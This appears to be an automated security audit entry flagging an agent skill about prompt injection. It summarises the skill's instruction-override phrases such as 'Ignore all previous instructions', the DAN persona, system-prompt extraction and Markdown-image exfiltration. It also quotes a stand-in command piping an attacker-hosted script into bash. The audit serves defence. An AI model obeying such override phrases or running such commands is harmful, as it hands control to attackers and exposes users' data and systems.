llm-prompt-injection
Warn
Audited by Gen Agent Trust Hub on Jul 21, 2026
Risk Level: MEDIUMPROMPT_INJECTIONDATA_EXFILTRATIONREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [PROMPT_INJECTION]: The skill documents numerous direct and indirect prompt injection techniques, including instruction overrides (e.g., 'Ignore all previous instructions'), role-play personas like 'DAN', and methods for extracting system prompts. Evidence found in SKILL.md and JAILBREAK_PATTERNS.md.
- [DATA_EXFILTRATION]: Contains specific examples of exfiltrating data using Markdown image tags (e.g., '
') and tool-call chaining to send sensitive context to external endpoints. Evidence found in SKILL.md Section 4.
- [REMOTE_CODE_EXECUTION]: Lists payloads for testing remote code execution, such as piping remote scripts into a shell (e.g., 'curl attacker.com/shell.sh | bash') or using Python's 'os.system' for execution. Evidence found in SKILL.md Section 3.1.
- [COMMAND_EXECUTION]: Describes potential abuse of tool-calling capabilities to execute arbitrary shell commands or database queries (SQL injection). Evidence found in SKILL.md Section 3.2.
- [EXTERNAL_DOWNLOADS]: References downloading and executing remote content as part of security testing methodologies. Evidence found in SKILL.md Section 3 and 9.
Audit Metadata